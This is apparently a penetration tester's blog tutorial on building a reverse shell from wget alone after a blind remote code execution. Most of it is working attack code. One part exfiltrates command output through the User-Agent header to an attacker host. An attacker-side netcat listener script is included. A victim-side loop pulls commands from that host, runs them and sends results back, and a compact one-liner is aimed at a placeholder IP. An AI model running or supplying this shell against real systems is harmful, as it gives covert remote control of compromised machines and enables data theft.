Constructing a Wget reverse shell
Recently, I needed to create a reverse shell from a machine where I knew I had a Remote Code Execution (RCE), but without any output. I did not have python
, nc
, perl
, ruby
on the target machine, therefore getting a reverse shell to work was pretty much a pain in the neck. I knew I had a blind Remote Code Execution on the server (through a web application) but I had no way of exfiltrating the command execution results.
As I was determined to obtain a reverse shell on this machine, I started studying what I would need to create a reverse shell and decided to create one using wget
.
Constructing an uplink
First things first, we need to create an uplink to get the command results back from the victim machine.
IP="127.0.0.1";
PORT=4444;
wget "http://$IP:$PORT" -q \
-O- \
--user-agent="$(id 2>&1)" \
--output-file=/dev/null
In our netcat
listener we have received the request, with the exfiltrated command result inside the User-Agent
:
GET / HTTP/1.1
User-Agent: uid=1000(poc) gid=1000(poc) groups=1000(poc)
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:4444
Connection: Keep-Alive
wget
First working version
Requirements
-
On the victim machine :
wget
,base64
-
On the attacker machine :
wget
,nc
,grep
,awk
,cat
,xxd
,head
Listenner on the attack machine
#!/usr/bin/env bash
CMD_SEND_PORT=8080
CMD_REPLY_PORT=8081
#===============================================================================
log() { echo -e "\x1b[1m[\x1b[93mLOG\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
info() { echo -e "\x1b[1m[\x1b[92mINFO\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
warn() { echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
remote_exec(){
local CMD="${1}"
echo "${CMD}" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
RESULT="$(nc -w 1 -lp ${CMD_REPLY_PORT} | grep "User-Agent:" | awk '{split($0,a,"User-Agent: "); print a[2]}' | base64 -i -d)"
echo "${RESULT}"
}
wait_for_connection(){
log "Waiting for incomming wget connection ..."
local proof="$(cat /dev/urandom | xxd -p | head -n 1)"
waiting=1
while [[ ${waiting} == 1 ]]; do
local response="$(remote_exec "echo '${proof}'")"
if [[ $(echo "${response}" | grep "${proof}" | wc -l) -ne 0 ]]; then
log "Validated ! proof : ${proof}"
waiting=0
fi
done
info "Connected ! (interactive shell incomming)"
}
#===============================================================================
wait_for_connection
PROMPT="[\x1b[93m$(remote_exec 'whoami')\x1b[0m@\x1b[92m$(remote_exec 'hostname')\x1b[0m]: "
RUNNING=1
while [[ $RUNNING == 1 ]]; do
printf "${PROMPT}"; read
if [[ "${REPLY}" == "exit" ]]; then
echo "exit" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
RUNNING=0
else
echo "$(remote_exec "${REPLY}")"
fi
done
Reverse shell on the victim machine
#!/usr/bin/env bash
REV_IP='localhost'
CMD_RECV_PORT=8080
CMD_REPLY_PORT=8081
RUNNING=1
while [[ $RUNNING == 1 ]]; do
CMD=$(wget -q "http://${REV_IP}:${CMD_RECV_PORT}" -O- --output-file=/dev/null 2>/dev/null)
if [[ ${CMD} != "" ]]; then
if [[ ${CMD} == "exit" ]]; then
RUNNING=0
else
sleep 0.125
wget \
"http://${REV_IP}:${CMD_REPLY_PORT}" \
--output-file=/dev/null \
--user-agent="$(${CMD} 2>&1 | base64 | tr -d "\n")"\
2>/dev/null
fi
fi
done
Compacting everything
Now that we have a working first version, we would love to have a compact version of this wget
reverse shell :
On the victim machine :
IP="1.2.3.4";DOWNLINK=8080;UPLINK=8081
while true; do sleep 0.125; wget "http://${IP}:${UPLINK}" --output-file=/dev/null --user-agent="$($(wget -q "http://${IP}:${DOWNLINK}" -O- --output-file=/dev/null 2>/dev/null) 2>&1 | base64 | tr -d "\n")" 2>/dev/null; done